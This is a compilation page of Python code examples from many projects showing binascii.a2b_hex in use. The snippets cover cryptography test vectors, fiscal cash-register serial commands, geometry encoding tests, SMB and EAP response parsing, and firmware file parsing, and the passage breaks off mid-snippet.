Beispiel #1
0
 def runTest(self):
     for mode in (self.module.MODE_ECB, self.module.MODE_CBC, self.module.MODE_CFB, self.module.MODE_PGP, self.module.MODE_OFB):
         encryption_cipher = self.module.new(a2b_hex(self.key), mode, self.iv)
         decryption_cipher = self.module.new(a2b_hex(self.key), mode, self.iv)
         ciphertext = encryption_cipher.encrypt(self.plaintext)
         decrypted_plaintext = decryption_cipher.decrypt(ciphertext)
         self.assertEqual(self.plaintext, decrypted_plaintext)
Beispiel #2
0
    def test_HMAC_SHA256_stackoverflow_testvectors(self):
        # these testvectors are taken from
        # <http://stackoverflow.com/a/5136918/1248008>
        vectors = [
            ((b"password", b"salt", 1, 32),
             binascii.a2b_hex(b"120fb6cffcf8b32c43e7225256c4f837a86548c92ccc3"
                              b"5480805987cb70be17b")),
            ((b"password", b"salt", 2, 32),
             binascii.a2b_hex(b"ae4d0c95af6b46d32d0adff928f06dd02a303f8ef3c25"
                              b"1dfd6e2d85a95474c43")),
            ((b"password", b"salt", 4096, 32),
             binascii.a2b_hex(b"c5e478d59288c841aa530db6845c4c8d962893a001ce4"
                              b"e11a4963873aa98134a")),
            ((b"passwordPASSWORDpassword",
              b"saltSALTsaltSALTsaltSALTsaltSALTsalt",
              4096,
              40),
             binascii.a2b_hex(b"348c89dbcbd32b2f32d814b8116e84cf2b17347ebc180"
                              b"0181c4e2a1fb8dd53e1c635518c7dac47e9")),
            ((b"pass\0word",
              b"sa\0lt",
              4096,
              16),
             binascii.a2b_hex(b"89b69d0516f829893c696226650a8687")),
        ]

        self._test_hmac_testvectors(vectors, hashlib.sha256)
Beispiel #3
0
def sale(ser, amount, price, text=u"", department=0, taxes=[0,0,0,0][:], fg_return=False, passwd=PASSWORD):
    """Продажа"""

    if text:
        cmdPrint(text, ser, passwd)

    if fg_return:
        cmdNo = 'W'  # Возврат продажи
        cmd = a2b_hex(str(passwd).rjust(4, '0')) + cmdNo + a2b_hex('%02d' % 0) +num2str(price) + num3str(amount)
    else:
        cmdNo = 'R'  # Продажа
        cmd = a2b_hex(str(passwd).rjust(4, '0')) + cmdNo + a2b_hex('%02d' % 0) +num2str(price) + num3str(amount) + a2b_hex('%02d' % department)

    fmtA = '<B'

    global LASTRESPONS
    rr = None
    try:
        rr = sendCmd(cmd, fmtA, ser, passwd=passwd)
        if 0 == rr[0]:
            rr = getRespons()
            if '0000' == rr[0]:
                #data = LASTRESPONS[2]
                pass
    except Exception, e:
        print 'err:', str(e)
        rr = None
Beispiel #4
0
 def runTest(self):
     """Regression test: m.new(key, m.MODE_CFB, segment_size=N) should require segment_size to be a multiple of 8 bits"""
     iv = bchr(0) * self.module.block_size
     for i in range(1, 8):
         self.assertRaises(ValueError, self.module.new, a2b_hex(self.key),
                 self.module.MODE_CFB, iv, segment_size=i)
     self.module.new(a2b_hex(self.key), self.module.MODE_CFB, iv, segment_size=8) # should succeed
Beispiel #5
0
def closeCheck(ser, nalichka, skidka=0, text=u"", summa2=0,summa3=0,summa4=0, taxes=[0,0,0,0][:], passwd=PASSWORD):
    if skidka:
        r = discount(ser, skidka, passwd)
        if r and '0000' <> r[0]:
            return r
    # TODO: Надо реализовать разные типы оплаты
    tipOplaty = 1  # Наличка
    if summa2 > 0:
        tipOplaty = 2
        nalichka = summa2
    elif summa3 > 0:
        tipOplaty = 3
        nalichka = summa3
    elif summa4 > 0:
        tipOplaty = 4
        nalichka = summa4

    cmd = a2b_hex(str(passwd).rjust(4, '0')) + 'J' + a2b_hex('%02d' % 0) + a2b_hex('%02d' % tipOplaty) + num2str(nalichka)
    fmtA = '<B'

    global LASTRESPONS
    rr = None
    try:
        rr = sendCmd(cmd, fmtA, ser)
        if 0 == rr[0]:
            rr = getRespons()
            if '0000' == rr[0]:
                #data = LASTRESPONS[2]
                #print LASTRESPONS
                pass
    except Exception, e:
        print 'err:', str(e)
        rr = None
Beispiel #6
0
def cmdX(ser=None, passwd=PASSWORD):
    """Суточный отчет без гашения """

    resetMode()
    #mode = getMode()
    #print mode[0]
    #return

    setMode(2)

    cmd = a2b_hex(str(passwd).rjust(4, '0')) + 'g' + a2b_hex('%02d' % 1)
    fmtA = '<B'

    global LASTRESPONS
    rr = None
    try:
        rr = sendCmd(cmd, fmtA, ser)
        if 0 == rr[0]:
            rr = getRespons()
            if '0000' == rr[0]:
                #data = LASTRESPONS[2]
                #print LASTRESPONS
                pass
    except Exception, e:
        print 'err:', str(e)
        rr = None
Beispiel #7
0
def setMode(mode, ser=None, passwd=PASSWORD):
    """Вход в режим
    1 - Режим регистрации
    2 - Режим отчетов без гашения
    3 - Режим отчетов с гашением
    4 - Режим программирования
    5 - Режим доступа к ФП
    6 - Режим доступа к ЭКЛЗ
"""

    cmd = a2b_hex(str(passwd).rjust(4, '0')) + 'V' + a2b_hex('%02d' % mode) + a2b_hex('%08d' % 30)
    fmtA = '<B'

    global LASTRESPONS
    rr = None
    try:
        rr = sendCmd(cmd, fmtA, ser)
        if 0 == rr[0]:
            rr = getRespons()
            if '0000' == rr[0]:
                #data = LASTRESPONS[2]
                #print LASTRESPONS
                pass
    except Exception, e:
        print 'err:', str(e)
        rr = None
Beispiel #8
0
    def testEncoder(self):
        """ Tests minimal functionality of the learning Unicode codec """
        ENC_UTF8 = "UTF-8"
        ENC_LATIN1 = "ISO-8859-1"
        ENC_CYRILLIC = "ISO-8859-5"

        STR1_LATIN1 = "has an " + binascii.a2b_hex("FC") + "mlat"
        STR1_UTF8 = "has an " + binascii.a2b_hex("C3BC") + "mlat"
        STR1_UCS2 = "has an " + unichr(252) + "mlat"

        STR2_LATIN1 = "DRAGON" + binascii.a2b_hex("A7") + "!"
        STR2_CYRILLIC = "DRAGON" + binascii.a2b_hex("FD") + "!"
        STR2_UCS2 = "DRAGON" + unichr(167) + "!"

        # Spawn our own encoder instance so we don't abuse the module one.
        encoder = sitemap_gen.Encoder()

        # Convert Latin-1 to UTF-8, by way of Unicode
        encoder.SetUserEncoding(ENC_LATIN1)
        self.assertEqual(encoder.WidenText(STR1_LATIN1, None), STR1_UCS2)
        self.assertEqual(encoder.NarrowText(STR1_UCS2, ENC_UTF8), STR1_UTF8)

        # Test learning.  STR1 has no Cyrillic equivalent, STR2 just changes.
        encoder.SetUserEncoding(None)
        encoder._learned = []
        self.assertEqual(encoder.WidenText(STR2_CYRILLIC, ENC_CYRILLIC), STR2_UCS2)
        self.assertEqual(encoder.WidenText(STR2_CYRILLIC, None), STR2_UCS2)
        self.assertEqual(encoder.NarrowText(STR1_UCS2, None), STR1_UTF8)
        self.assert_(not encoder._learned)
        self.assertEqual(encoder.NarrowText(STR1_UCS2, ENC_LATIN1), STR1_LATIN1)
        self.assertEqual(encoder.NarrowText(STR1_UCS2, None), STR1_LATIN1)
        self.assertEqual(encoder.NarrowText(STR2_UCS2, None), STR2_LATIN1)
Beispiel #9
0
    def test_hexewkb(self):
        "Testing (HEX)EWKB output."
        # For testing HEX(EWKB).
        ogc_hex = b"01010000000000000000000000000000000000F03F"
        ogc_hex_3d = b"01010000800000000000000000000000000000F03F0000000000000040"
        # `SELECT ST_AsHEXEWKB(ST_GeomFromText('POINT(0 1)', 4326));`
        hexewkb_2d = b"0101000020E61000000000000000000000000000000000F03F"
        # `SELECT ST_AsHEXEWKB(ST_GeomFromEWKT('SRID=4326;POINT(0 1 2)'));`
        hexewkb_3d = b"01010000A0E61000000000000000000000000000000000F03F0000000000000040"

        pnt_2d = Point(0, 1, srid=4326)
        pnt_3d = Point(0, 1, 2, srid=4326)

        # OGC-compliant HEX will not have SRID value.
        self.assertEqual(ogc_hex, pnt_2d.hex)
        self.assertEqual(ogc_hex_3d, pnt_3d.hex)

        # HEXEWKB should be appropriate for its dimension -- have to use an
        # a WKBWriter w/dimension set accordingly, else GEOS will insert
        # garbage into 3D coordinate if there is none.
        self.assertEqual(hexewkb_2d, pnt_2d.hexewkb)
        self.assertEqual(hexewkb_3d, pnt_3d.hexewkb)
        self.assertEqual(True, GEOSGeometry(hexewkb_3d).hasz)

        # Same for EWKB.
        self.assertEqual(six.memoryview(a2b_hex(hexewkb_2d)), pnt_2d.ewkb)
        self.assertEqual(six.memoryview(a2b_hex(hexewkb_3d)), pnt_3d.ewkb)

        # Redundant sanity check.
        self.assertEqual(4326, GEOSGeometry(hexewkb_2d).srid)
Beispiel #10
0
	def get_client_info(self, client, newClient, _ElementTree):
		eaptypes = client.find('eap-types')
		if ElementTree.iselement(eaptypes):
			eaptypes = eaptypes.text
			if eaptypes != None:
				for eaptype in eaptypes.strip().split(','):
					if eaptype.isdigit():
						newClient.addEapType(int(eaptype))
		identities = client.findall('identity') or []
		for identity in identities:
			tmp = identity.get('eap-type')
			if tmp.isdigit():
				newClient.add_identity(int(tmp), identity.text.strip())
		mschaps = client.findall('mschap') or []
		for mschap in mschaps:
			newClient.add_ms_chap_info(
				int(mschap.get('eap-type')),
				binascii.a2b_hex(mschap.find('challenge').text.strip().replace(':', '')),
				binascii.a2b_hex(mschap.find('response').text.strip().replace(':', '')),
				mschap.get('identity')
			)
		wpsXMLData = client.find('wps-data')
		if ElementTree.iselement(wpsXMLData):
			wpsData = wpsDataHolder()
			for elem in wpsXMLData:
				key = elem.tag.replace('-', ' ')
				value = elem.text.strip()
				if elem.get('encoding') == 'hex':
					wpsData[key] = binascii.a2b_hex(value)
				elif elem.get('encoding') == 'base64':
					wpsData[key] = base64.standard_b64decode(value)
				else:
					wpsData[key] = value
			if len(wpsData):
				newClient.wpsData = wpsData
def test_srtp_auth():
    m = b"hello_rtp"
    master_key=  a2b_hex('00000000000000000000000000000000')
    master_salt= a2b_hex('0000000000000000000000000000')
    ck,sk,ak= srtp_derive_key_aes_128(master_key, master_salt)
    assert b2a_hex(ak) == b'788bcd111ecf73d4e78d2e21bef55460daacdaf7'

    ma = srtp_sign_packet(ak, m, 0)

    assert b2a_hex(ma[-10:]) == b'e60c68053178ee795142'
    assert srtp_verify_and_strip_signature(ak, ma, 0) == m
    try:
        srtp_verify_and_strip_signature(ak, ma, 1) # wrong roc should fail authentication
        assert False
    except AuthenticationFailure:
        pass

    try:
        srtp_verify_and_strip_signature(ak, b'\xff' + ma[1:], 1) # modified message should fail auth
        assert False
    except AuthenticationFailure:
        pass

    ck,sk,ak= srtp_derive_key_aes_128(master_key, master_salt, rtcp=True)
    encrypted_srtcp = True
    packet_i_srtcp = 1
    data = a2b_hex ('80cc000810feff99466c75782105000310feff990000100200001603000000090000000400000001a0573cb69ef3c96e1253')
    data2 = a2b_hex('80cc000810feff99466c75782105000310feff990000100200001603000000090000000480000002e24513e079e366eb82e6')

    assert srtcp_sign_packet(ak, data[:-14], packet_i_srtcp, not encrypted_srtcp) == data
    assert srtcp_verify_and_strip_signature(ak, data) == (data[:-14], packet_i_srtcp, not encrypted_srtcp)

    assert srtcp_sign_packet(ak, data[:-14], packet_i_srtcp+1, encrypted_srtcp) == data2
    assert srtcp_verify_and_strip_signature(ak, data2) == (data2[:-14], packet_i_srtcp+1, encrypted_srtcp)
Beispiel #12
0
def getOSInfo(data):
    try:
        if not data.strip():
            raise
        info  = data[45 * 2:]
        infos = u""
        for i in xrange(0, len(info), 2):
                infos += r"\x" + info[i:i + 2]
        try:
            osOffset = infos.find(r"\x00") + 4
            os       = infos[:osOffset].replace("00", "").replace(r"\x", "")
            os       = binascii.a2b_hex(os)
        except Exception, e:
            print e
            os = "Unknown"
      
        try: 
            lmOffset = infos.find(r"\x00", osOffset) + 4 
            lm       = infos[osOffset:lmOffset].replace("00", "").replace(r"\x", "")
            lm = binascii.a2b_hex(lm)
        except:
            lm = "Unknown"

        try:
            domain   = binascii.a2b_hex(infos[lmOffset:].replace("00", "").replace(r"\x", ""))
        except:
            domain = "Unknown"
        return os, lm, domain
   def test7(self):
       return
       print '- Test 7 -----------------------------------------------------------------'
       a = readCapture('/root/eng_test-aaa-aaa-07_pkttrace_g0_g1.pdml')
       snmppkts = a.endpoints['10.206.25.10'].snmp
       pkt=snmppkts[0]
       print pkt.getFieldFindShow('Value: OBJECTID: 1.3.6.1.4.1.7684.2.5.0.13')
       for pkt in snmppkts:
           val=pkt.getFieldFindShow('Value: OBJECTID: 1.3.6.1.4.1.7684.2.5.0.13')
           a = pkt.getFieldFindShowValue('Value: OBJECTID: 1.3.6.1.4.1.7684.2.5.0.13')
	   if (a !=None):
	       print a
	       b='0x'+a
	       x=a.upper()
	       #print oct(b)
	       m = eval(b)
	       print m
	       p = str(a)
	       print p 
	       
	       import binascii
	       print binascii.a2b_hex(p)
	   #print "%d" %int(b)
           #print "%o" %(int(pkt.getFieldFindShowValue('Value: OBJECTID: 1.3.6.1.4.1.7684.2.5.0.13')))
	   if (val != None) and (val==True):
	       print "Found Primary Server Status"
	       print pkt.getFieldFirstShowName('ip.src')
Beispiel #14
0
def callbackmotor1(data):

	vel_1 = motormath(data.data)

	if vel_1 < 0: 
		vel_1_hex = hex((abs(vel_1) ^ 0xffffffff) +1)[2:].strip( 'L' )
	else:
		vel_1_hex = hex(vel_1)[2:].zfill(8)

	vel_1_hex_int = int(vel_1_hex,16)

	# Converts the velocity hex value into the little endien format and puts it into the
	# proper hex format and gets the CRC value
	vel_1_final = struct.pack('<q', vel_1_hex_int).encode('hex')[:8]

        chk_sum_data = hex(crc16.crc16xmodem(binascii.a2b_hex(vel_1_final))).strip('0x').zfill(4)
 		
	# Generates the word number value and calculates the CRC
	#cmd_word_count = "{0:0>2}".format(hex(int(math.floor(len(vel_1_final.rstrip('0'))/2))).strip( '0x' ))
	cmd_word_count = struct.pack('h', int(math.floor(len(vel_1_final.rstrip('0'))/2))).encode('hex')[:2]

	chk_sum_cmd = hex(crc16.crc16xmodem(vel_mode + binascii.a2b_hex(cmd_word_count))).strip('0x')	
	
	motor_command_1 = binascii.b2a_hex(vel_mode) + chk_sum_cmd + vel_1_final + chk_sum_data

	print "Motor 1 Command:"	
	print motor_command_1
Beispiel #15
0
    def time_signature_event(self, meter=(4, 4)):
        """Returns a time signature event for meter."""

        numer = a2b_hex('%02x' % meter[0])
        denom = a2b_hex('%02x' % int(log(meter[1], 2)))
        return self.delta_time + META_EVENT + TIME_SIGNATURE + '\x04' + numer\
             + denom + '\x18\x08'
Beispiel #16
0
def challenge_ok(b64cert, mychal, ourchal, signature):

    import bdocpython
    if not signature:
        return False, 'DDS did not return signed challenge'

    bmychal = binascii.a2b_hex(mychal)
    bchal = binascii.a2b_hex(ourchal)

    if (bmychal != bchal[0:10]):
        return False, 'My challenge not present in our challenge'

    bcert = binascii.a2b_base64(b64cert)
    bsign = binascii.a2b_base64(signature)

    cv = bdocpython.ChallengeVerifier()
    cv.setCertificate(bcert)
    cv.setChallenge(bchal)
    cv.setSignature(bsign)
    res = cv.isChallengeOk()

    if not res:
        return False, cv.error

    return True, None
Beispiel #17
0
    def runTest(self):
        for hashname in list(self.expected_dict.keys()):
            hashmod = self.hashmods[hashname]
            key = binascii.a2b_hex(b(self.key))
            data = binascii.a2b_hex(b(self.input))

            # Strip whitespace from the expected string (which should be in lowercase-hex)
            expected = b("".join(self.expected_dict[hashname].split()))

            h = self.hashmod.new(key, digestmod=hashmod)
            h.update(data)
            out1 = binascii.b2a_hex(h.digest())
            out2 = h.hexdigest()

            h = self.hashmod.new(key, data, hashmod)

            out3 = h.hexdigest()
            out4 = binascii.b2a_hex(h.digest())

            # Test .copy()
            h2 = h.copy()
            h.update(b("blah blah blah"))  # Corrupt the original hash object
            out5 = binascii.b2a_hex(h2.digest())    # The copied hash object should return the correct result

            # PY3K: hexdigest() should return str(), and digest() bytes 
            self.assertEqual(expected, out1)
            if sys.version_info[0] == 2:
                self.assertEqual(expected, out2)
                self.assertEqual(expected, out3)
            else:
                self.assertEqual(expected.decode(), out2)
                self.assertEqual(expected.decode(), out3)                
            self.assertEqual(expected, out4)
            self.assertEqual(expected, out5)
Beispiel #18
0
def _s3_decrypt_image(context, encrypted_filename, encrypted_key,
                      encrypted_iv, decrypted_filename):
    encrypted_key = binascii.a2b_hex(encrypted_key)
    encrypted_iv = binascii.a2b_hex(encrypted_iv)
    cert_client = clients.nova_cert(context)
    try:
        key = cert_client.decrypt_text(base64.b64encode(encrypted_key))
    except Exception as exc:
        msg = _('Failed to decrypt private key: %s') % exc
        raise exception.EC2Exception(msg)
    try:
        iv = cert_client.decrypt_text(base64.b64encode(encrypted_iv))
    except Exception as exc:
        msg = _('Failed to decrypt initialization vector: %s') % exc
        raise exception.EC2Exception(msg)

    try:
        processutils.execute('openssl', 'enc',
                             '-d', '-aes-128-cbc',
                             '-in', '%s' % (encrypted_filename,),
                             '-K', '%s' % (key,),
                             '-iv', '%s' % (iv,),
                             '-out', '%s' % (decrypted_filename,))
    except processutils.ProcessExecutionError as exc:
        raise exception.EC2Exception(_('Failed to decrypt image file '
                                       '%(image_file)s: %(err)s') %
                                     {'image_file': encrypted_filename,
                                      'err': exc.stdout})
Beispiel #19
0
 def handle(self):
   self.data=''
   global receiveReportRes
   threading.Thread(target=reportThread,args=(self.request,)).start()
   while 1:
      oneMsgData=''
      length=0
      if self.data=='':
         self.data=self.request.recv(2048).strip()
      if self.data!='':
         for c in self.data:
            if c==binascii.a2b_hex('02'):
               continue
            if c==binascii.a2b_hex('03'):
               self.data=self.data[length+2:]
               #print self.data
               break
            oneMsgData+=c
            length+=1
         print oneMsgData
         responseMsg=decode(oneMsgData)
         if responseMsg!='':
            self.wfile.write(responseMsg)              
      else:
         continue
      
   time.sleep(0.001)
Beispiel #20
0
  def testEncoder(self):
    """ Tests minimal functionality of the learning Unicode codec """
    ENC_UTF8      = 'UTF-8'
    ENC_LATIN1    = 'ISO-8859-1'
    ENC_CYRILLIC  = 'ISO-8859-5'

    STR1_LATIN1   = 'has an ' + binascii.a2b_hex('FC') + 'mlat'
    STR1_UTF8     = 'has an ' + binascii.a2b_hex('C3BC') + 'mlat'
    STR1_UCS2     = 'has an ' + unichr(252) + 'mlat'

    STR2_LATIN1   = 'DRAGON' + binascii.a2b_hex('A7') + '!'
    STR2_CYRILLIC = 'DRAGON' + binascii.a2b_hex('FD') + '!'
    STR2_UCS2     = 'DRAGON' + unichr(167) + '!'
    
    # Spawn our own encoder instance so we don't abuse the module one.
    encoder = sitemap_gen.Encoder()

    # Convert Latin-1 to UTF-8, by way of Unicode
    encoder.SetUserEncoding(ENC_LATIN1)
    self.assertEqual(encoder.WidenText(STR1_LATIN1, None), STR1_UCS2)
    self.assertEqual(encoder.NarrowText(STR1_UCS2, ENC_UTF8), STR1_UTF8)

    # Test learning.  STR1 has no Cyrillic equivalent, STR2 just changes.
    encoder.SetUserEncoding(None)
    encoder._learned = []
    self.assertEqual(encoder.WidenText(STR2_CYRILLIC, ENC_CYRILLIC), STR2_UCS2)
    self.assertEqual(encoder.WidenText(STR2_CYRILLIC, None), STR2_UCS2)
    self.assertEqual(encoder.NarrowText(STR1_UCS2, None), STR1_UTF8)
    self.assert_(not encoder._learned)
    self.assertEqual(encoder.NarrowText(STR1_UCS2, ENC_LATIN1), STR1_LATIN1)
    self.assertEqual(encoder.NarrowText(STR1_UCS2, None), STR1_LATIN1)
    self.assertEqual(encoder.NarrowText(STR2_UCS2, None), STR2_LATIN1)
Beispiel #21
0
def getHostname(data):    
    net_bios_header_len = 4
    smb_header_len      = 32
    smb_cmd_ex_len      = 7
    
    iPos = (smb_header_len + net_bios_header_len + smb_cmd_ex_len) * 2

    blobHex = data[iPos:iPos + 4]
    if blobHex[2:] == "00":
        blobHex = blobHex[0:2]
    blob_len = int(blobHex, 16)
    iPos    += 8
    secBlob  = data[iPos:iPos + blob_len * 2]
    token    = secBlob[secBlob.find('4e544c4d53535000'):]
    
    iLen     = int(token[24:12 * 2 + 4].replace('00', ''), 16)
    offset   = int(token[32:16 * 2 + 8].replace('00', ''), 16)
	
    iPos     = offset * 2
    name     = token[iPos:iPos + iLen * 2] 
    names    = u""
    for i in xrange(0,len(name), 2):
            names += r"\x" + name[i:i + 2]
    name = names.split(r"\x00\x00")
    name = name[0].replace(r'\x', '').replace('00', '')
    print ("%-30s %-30s" % ("Target Name:", binascii.a2b_hex(name)))
    return binascii.a2b_hex(name)
Beispiel #22
0
    def runTest(self):
        for hashname in self.expected_dict.keys():
            hashmod = self.hashmods[hashname]
            key = binascii.a2b_hex(self.key)
            data = binascii.a2b_hex(self.input)

            # Strip whitespace from the expected string (which should be in lowercase-hex)
            expected = self.expected_dict[hashname]
            for ch in string.whitespace:
                expected = expected.replace(ch, "")

            h = self.hashmod.new(key, digestmod=hashmod)
            h.update(data)
            out1 = binascii.b2a_hex(h.digest())
            out2 = h.hexdigest()

            h = self.hashmod.new(key, data, hashmod)

            out3 = h.hexdigest()
            out4 = binascii.b2a_hex(h.digest())

            # Test .copy()
            h2 = h.copy()
            h.update("blah blah blah")  # Corrupt the original hash object
            out5 = binascii.b2a_hex(h2.digest())    # The copied hash object should return the correct result

            self.assertEqual(expected, out1)
            self.assertEqual(expected, out2)
            self.assertEqual(expected, out3)
            self.assertEqual(expected, out4)
            self.assertEqual(expected, out5)
Beispiel #23
0
def get_password_for_session(request):
    """
    Decrypt and return the password stored in a request's associated session

    returns None on failure
    """
    try:
        secret = settings.SECRET_CRYPTO_KEY
    except KeyError:
        raise ImproperlyConfigured('Crypto Key Env Var is missing!')

    try:
        # IV and password are stored as hex strings, and need to be turned into
        # byte arrays. These values are stored as hex strings so that we can
        # use the JSONSerializer for sessions.
        encryption_iv = binascii.a2b_hex(request.session.get('encryption_iv'))
        enc_password = binascii.a2b_hex(
                request.session.get('password_encrypted'))

        cipher = AES.new(secret, AES.MODE_CFB,
                         encryption_iv)
        password = cipher.decrypt(enc_password)
    except (TypeError, KeyError):
        logger.error(
            'Attempted to retrieve password for session with missing info')
        return None
    return password
Beispiel #24
0
	def dispatch(self, request, *args, **kwargs):
		with Session() as s:
			try:
				fileName = kwargs['file']
				prefix, basename = splitFileName(kwargs['file'])
				title = a2b_hex(basename)
				atime = int(kwargs['time'])
				id_hex = kwargs['id']
				id_bin = a2b_hex(id_hex)
				addr = kwargs['node'].replace('+', '/')
			except (BadFileNameException, binascii.Error, ValueError):
				return HttpResponseBadRequest()

			if addr.startswith(':') or addr.startswith('/'):
				addr = request.META['REMOTE_ADDR'] + addr
			response = HttpResponse()
			if prefix=='thread':
				if Recent.get(s, atime, id_bin, fileName).first():
					return response
				thread_id = Thread.get(s, title=title).value(Thread.id)
				if thread_id:
					msgqueue.getAndUpdateRecord(addr, thread_id, id_hex, atime)
				try:
					Recent.add(s, timestamp=atime, binId=id_bin, fileName=fileName)
					s.commit()
				except IntegrityError:
					s.rollback()
			return response
Beispiel #25
0
 def encode(self, entry):
     if isinstance(entry, LogEntry):
         parent_hash = binascii.a2b_hex(entry.parent_hash)
         timestamp = struct.pack('>I', entry.timestamp)
         action = self.ACTION_MAP[entry.action].encode()
         name = entry.name.encode()
         name_offset = struct.pack('B', len(name))
         content = entry.content
         if entry.action in (entry.WRITE, entry.LINK, entry.REVERT):
             content = binascii.a2b_hex(content)
         elif entry.action == entry.GRANT:
             content = content.to_der()
         elif entry.action == entry.MODE:
             content = struct.pack('>I', content)
         else:
             content = content.encode()
         content_offset = struct.pack('B', len(content))
         fingerprint = binascii.a2b_hex(entry.fingerprint.replace(':', ''))
         signature = entry.signature
         return b''.join((b'e', parent_hash, timestamp, action, name_offset, name,
                          content_offset, content, fingerprint, signature))
     elif isinstance(entry, Block):
         block = entry
         next_hash = binascii.a2b_hex(block.next_hash if block.next_hash else '0'*block.HASH_SIZE)
         return b''.join((b'b', next_hash, block.content))
Beispiel #26
0
def writefrags(server, manifest, mediaid):
	with open('/tmp/frags', 'wb') as fh:
		fh.write( binascii.a2b_hex( "464c56010500000009000000001200010c00000000000000" ) )
		fh.write( manifest['media'][4]['metadata'] )
		fh.write( binascii.a2b_hex( "00000000" ) ) # pad to have correct block size
		for i in xrange(1, int(manifest['duration']/6)):
				fh.write(get_and_cut_fragment(get_fragment_url(server, manifest, mediaid, i), i))
Beispiel #27
0
 def test_sproto_pack(self):
     result = a2b_hex("04000000d40700000000070000006372797374616c130000006372797374616c406578616d706c652e636f6d260000000f0000000200000004000500000031303038360f000000020000000600050000003130303130")
     pack_result = sproto_pack(result)
     #print len(pack_result)
     #print b2a_hex(pack_result)
     expected = a2b_hex("3104d407c40763723f797374616c13fe6372797374616cff00406578616d706c651f2e636f6d26110f02c5040531308f3038360f022806053e3130303130")
     self.assertEqual(expected, pack_result)
Beispiel #28
0
    def runTest(self):
        from Crypto.Util import Counter

        def pythonCounter():
            state = [0]
            def ctr():
                # First block succeeds; Second and subsequent blocks raise OverflowError
                if state[0] == 0:
                    state[0] = 1
                    return b("\xff") * self.module.block_size
                else:
                    raise OverflowError
            return ctr

        for little_endian in (0, 1): # (False, True) Test both endiannesses
            block = b("\x00") * self.module.block_size

            # Test PyObject_CallObject code path: if the counter raises OverflowError
            cipher = self.module.new(a2b_hex(self.key), self.module.MODE_CTR, counter=pythonCounter())
            cipher.encrypt(block)
            self.assertRaises(OverflowError, cipher.encrypt, block)
            self.assertRaises(OverflowError, cipher.encrypt, block)

            # Test PyObject_CallObject code path: counter object should raise OverflowError
            ctr = Counter.new(8*self.module.block_size, initial_value=2L**(8*self.module.block_size)-1, little_endian=little_endian)
            ctr()
            self.assertRaises(OverflowError, ctr)
            self.assertRaises(OverflowError, ctr)

            # Test the CTR-mode shortcut
            ctr = Counter.new(8*self.module.block_size, initial_value=2L**(8*self.module.block_size)-1, little_endian=little_endian)
            cipher = self.module.new(a2b_hex(self.key), self.module.MODE_CTR, counter=ctr)
            cipher.encrypt(block)
            self.assertRaises(OverflowError, cipher.encrypt, block)
            self.assertRaises(OverflowError, cipher.encrypt, block)
Beispiel #29
0
    def _new(self, do_decryption=0):
        params = self.extra_params.copy()

        # Handle CTR mode parameters.  By default, we use Counter.new(self.module.block_size)
        if hasattr(self.module, "MODE_CTR") and self.mode == self.module.MODE_CTR:
            from Crypto.Util import Counter
            ctr_class = _extract(params, 'ctr_class', Counter.new)
            ctr_params = _extract(params, 'ctr_params', {}).copy()
            if ctr_params.has_key('prefix'): ctr_params['prefix'] = a2b_hex(b(ctr_params['prefix']))
            if ctr_params.has_key('suffix'): ctr_params['suffix'] = a2b_hex(b(ctr_params['suffix']))
            if not ctr_params.has_key('nbits'):
                ctr_params['nbits'] = 8*(self.module.block_size - len(ctr_params.get('prefix', '')) - len(ctr_params.get('suffix', '')))
            params['counter'] = ctr_class(**ctr_params)

        if self.mode is None:
            if self.iv is None:
                return self.module.new(a2b_hex(self.key), **params)
            else:
                return self.module.new(a2b_hex(self.key), a2b_hex(self.iv), **params)
        elif self.iv is None:
            # Block cipher without iv
            return self.module.new(a2b_hex(self.key), self.mode, **params)
        else:
            # Block cipher with iv
            if do_decryption and self.mode == self.module.MODE_OPENPGP:
                # In PGP mode, the IV to feed for decryption is the *encrypted* one
                return self.module.new(a2b_hex(self.key), self.mode, a2b_hex(self.encrypted_iv), **params)
            else:
                return self.module.new(a2b_hex(self.key), self.mode, a2b_hex(self.iv), **params)
    def parse(self):
        '''Read's the firmware into a list of (array_id, row_number, data)
        tuples.
        '''
        lines = self.file.readlines()

        header_line = lines.pop(0).rstrip('\r\n')
        header = binascii.a2b_hex(header_line)
        self.silicon_id = header[3]
        self.silicon_id |= header[2] << 8
        self.silicon_id |= header[1] << 16
        self.silicon_id |= header[0] << 24
        self.silicon_revision = header[4]
        self.checksum_type = header[5]

        firmware = []
        for line in lines:
            line = binascii.a2b_hex(line[1:].rstrip('\r\n'))
            array_id = line[0]
            row_number = (line[1] << 8) | line[2]
            data_length = (line[3] << 8) | line[4]
            data = line[5:5+data_length]
            checksum = line[5+data_length]
            checksum_calculated = self._checksum(line[:-1])
            assert checksum == checksum_calculated
            firmware.append((array_id, row_number, data))

        self.firmware = firmware
Beispiel #31
0
 def time_signature_event(self, meter=(4, 4)):
     """Return a time signature event for meter."""
     numer = a2b_hex('%02x' % meter[0])
     denom = a2b_hex('%02x' % int(log(meter[1], 2)))
     return self.delta_time + META_EVENT + TIME_SIGNATURE + '\x04' + numer \
            + denom + '\x18\x08'
Beispiel #32
0
    def testPSSTestVector(self):
        # Test vector taken from http://www.rsa.com/rsalabs/node.asp?id=2125
        # ---------------------------------
        # Step-by-step RSASSA-PSS Signature
        # ---------------------------------

        # Message M to be signed:
        m = a2b_hex(
            bytes(
                '85 9e ef 2f d7 8a ca 00 30 8b dc 47 11 93 bf 55\
        bf 9d 78 db 8f 8a 67 2b 48 46 34 f3 c9 c2 6e 64\
        78 ae 10 26 0f e0 dd 8c 08 2e 53 a5 29 3a f2 17\
        3c d5 0c 6d 5d 35 4f eb f7 8b 26 02 1c 25 c0 27\
        12 e7 8c d4 69 4c 9f 46 97 77 e4 51 e7 f8 e9 e0\
        4c d3 73 9c 6b bf ed ae 48 7f b5 56 44 e9 ca 74\
        ff 77 a5 3c b7 29 80 2f 6e d4 a5 ff a8 ba 15 98\
        90 fc'.replace(" ", ""), 'utf-8'))

        # mHash    = Hash(M)
        # salt     = random string of octets
        # M'       = Padding || mHash || salt
        # H        = Hash(M')
        # DB       = Padding || salt
        # dbMask   = MGF(H, length(DB))
        # maskedDB = DB xor dbMask (leftmost bit set to
        #            zero)
        # EM       = maskedDB || H || 0xbc

        # mHash:
        mHash = a2b_hex(
            bytes(
                '37 b6 6a e0 44 58 43 35 3d 47 ec b0 b4 fd 14 c1\
        10 e6 2d 6a'.replace(" ", ""), 'utf-8'))

        # salt:
        salt = a2b_hex(
            bytes(
                'e3 b5 d5 d0 02 c1 bc e5 0c 2b 65 ef 88 a1 88 d8\
        3b ce 7e 61'.replace(" ", ""), 'utf-8'))

        # M':
        mPrime = a2b_hex(
            bytes(
